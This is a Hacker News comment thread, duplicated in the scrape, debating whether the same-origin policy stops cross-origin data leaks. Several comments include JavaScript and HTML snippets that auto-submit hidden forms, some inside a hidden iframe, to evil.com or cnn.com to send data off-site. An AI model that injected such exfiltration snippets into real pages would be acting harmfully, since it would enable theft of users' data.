3 ms·

There are enough "gaps" in the SOP that you can trivially move data cross-origin: most obviously <form action="https://evil.com/" https://evil.com/" method="pos

There are enough "gaps" in the SOP that you can trivially move data cross-origin: most obviously <form action="https://evil.com/" https://evil.com/" method="post" id="dummy"><input type="hidden" value="my-data"></form><script>window.dummy.submit();</script>. In general terms, you can often write cross-origin, but you can't read.

austincheney 8y ago
A form submission would refresh the page to the evil domain. It would change the domain in the address of the page. This same vector of attack can still occur with HTTPS so long as the malicious code is injected from a XSS or CRSF attack. The page address is the web's equivalent of physical security. If you cannot trust that there is no security.
- untog 8y ago
  Put it in an iframe, then. No URL change, no page change. In any case, once the page has changed the URL visible to the user it's already too late. Their data is sent. I guess it's nice that they are informed that something happened but not really. And that unknown server could easily redirect the user straight back to the site they were on, so the user would only see a flash on their screen.
  - gsnedders 8y ago
    And even more stealthily, an iframe with display: none.
  - austincheney 8y ago
    How would that help? See this: https://news.ycombinator.com/item?id=17861667 https://news.ycombinator.com/item?id=17861667
- majewsky 8y ago
  > A form submission would refresh the page to the evil domain. The server at evil.com can just reply with a redirect and it's likely that the address bar will not even show that it was at evil.com at some point. It will probably show "Connecting to evil.com..." or "Transferring data to evil.com..." at some point depending on how much data there is to transfer. But it would likely not be good.com vs. evil.com, it would be good.com vs. good.com.services.co.
  - austincheney 8y ago
    The iframe is still limited by same origin. The browser won’t let you cross the frames border if the domains are different. There is no attack there
    - gsnedders 8y ago
      In the form case that's easy: <script> var f = document.createElement("iframe"); f.style.display = "none"; document.body.appendChild(f); // note that the iframe has now synchronously loaded about:blank, which is treated as same-origin var f_doc = f.contentDocument; f_doc.innerHTML = "<form…></form>"; f_doc.querySelector("form").submit(); f_doc = null; // allow the old document to be GC'd </script> The fact the iframe navigates to a cross-origin page (and f.contentDocument will then be null) is irrelevant, because the data loss has already happened.
      - austincheney 8y ago
        Did you try that code? I tried it in the browser console on this very page and it throws a security error in Firefox. It throws a null error in Chrome, so I modified the code so that the form actually has a method and an action, but it still fails. Chrome throws valid error messaging if the iframe action is not https but the actual page is. Otherwise Chrome still throws an error, but the response is not intelligible if the domain has no HTTP content security header. If the site has a content security header then the error message is valid: Refused to display 'https://www.cnn.com/' in a frame because an ancestor violates the following Content Security Policy directive: "frame-ancestors 'self' https://*.cnn.com:* http://*.cnn.com https://*.cnn.io:* http://*.cnn.io:* *.turner.com:* courageousstudio.com". Cross origin still applies. This is not something the browser will let you bypass. Here is the code I tested with: var f = document.createElement("iframe"); f.style.display = "none"; document.body.appendChild(f);var f_doc = f.contentDocument; f_doc.getElementsByTagName("body")[0].innerHTML = "<form method='post' action='https://cnn.com'></form>"; f_doc.getElementsByTagName("body")[0].getElementsByTagName("form")[0].submit(); f_doc = null; I know everybody on here is a CCIE, CISSP, and a client side JavaScript expert, but I promise none of these violations work. If they did work the malicious actor would be stealing far more than simple form data and the web would be completely broken. HTTPS is important because it prevents data from moving across the wire as plain text for everybody to see. It isn't magic. https://en.wikipedia.org/wiki/Content_Security_Policy https://en.wikipedia.org/wiki/Content_Security_Policy
- deleted 8y ago
  [deleted]

austincheney 8y ago

A form submission would refresh the page to the evil domain. It would change the domain in the address of the page. This same vector of attack can still occur with HTTPS so long as the malicious code is injected from a XSS or CRSF attack. The page address is the web's equivalent of physical security. If you cannot trust that there is no security.

untog 8y ago
Put it in an iframe, then. No URL change, no page change. In any case, once the page has changed the URL visible to the user it's already too late. Their data is sent. I guess it's nice that they are informed that something happened but not really. And that unknown server could easily redirect the user straight back to the site they were on, so the user would only see a flash on their screen.
- gsnedders 8y ago
  And even more stealthily, an iframe with display: none.
- austincheney 8y ago
  How would that help? See this: https://news.ycombinator.com/item?id=17861667 https://news.ycombinator.com/item?id=17861667
majewsky 8y ago
> A form submission would refresh the page to the evil domain. The server at evil.com can just reply with a redirect and it's likely that the address bar will not even show that it was at evil.com at some point. It will probably show "Connecting to evil.com..." or "Transferring data to evil.com..." at some point depending on how much data there is to transfer. But it would likely not be good.com vs. evil.com, it would be good.com vs. good.com.services.co.
- austincheney 8y ago
  The iframe is still limited by same origin. The browser won’t let you cross the frames border if the domains are different. There is no attack there
  - gsnedders 8y ago
    In the form case that's easy: <script> var f = document.createElement("iframe"); f.style.display = "none"; document.body.appendChild(f); // note that the iframe has now synchronously loaded about:blank, which is treated as same-origin var f_doc = f.contentDocument; f_doc.innerHTML = "<form…></form>"; f_doc.querySelector("form").submit(); f_doc = null; // allow the old document to be GC'd </script> The fact the iframe navigates to a cross-origin page (and f.contentDocument will then be null) is irrelevant, because the data loss has already happened.
    - austincheney 8y ago
      Did you try that code? I tried it in the browser console on this very page and it throws a security error in Firefox. It throws a null error in Chrome, so I modified the code so that the form actually has a method and an action, but it still fails. Chrome throws valid error messaging if the iframe action is not https but the actual page is. Otherwise Chrome still throws an error, but the response is not intelligible if the domain has no HTTP content security header. If the site has a content security header then the error message is valid: Refused to display 'https://www.cnn.com/' in a frame because an ancestor violates the following Content Security Policy directive: "frame-ancestors 'self' https://*.cnn.com:* http://*.cnn.com https://*.cnn.io:* http://*.cnn.io:* *.turner.com:* courageousstudio.com". Cross origin still applies. This is not something the browser will let you bypass. Here is the code I tested with: var f = document.createElement("iframe"); f.style.display = "none"; document.body.appendChild(f);var f_doc = f.contentDocument; f_doc.getElementsByTagName("body")[0].innerHTML = "<form method='post' action='https://cnn.com'></form>"; f_doc.getElementsByTagName("body")[0].getElementsByTagName("form")[0].submit(); f_doc = null; I know everybody on here is a CCIE, CISSP, and a client side JavaScript expert, but I promise none of these violations work. If they did work the malicious actor would be stealing far more than simple form data and the web would be completely broken. HTTPS is important because it prevents data from moving across the wire as plain text for everybody to see. It isn't magic. https://en.wikipedia.org/wiki/Content_Security_Policy https://en.wikipedia.org/wiki/Content_Security_Policy
deleted 8y ago
[deleted]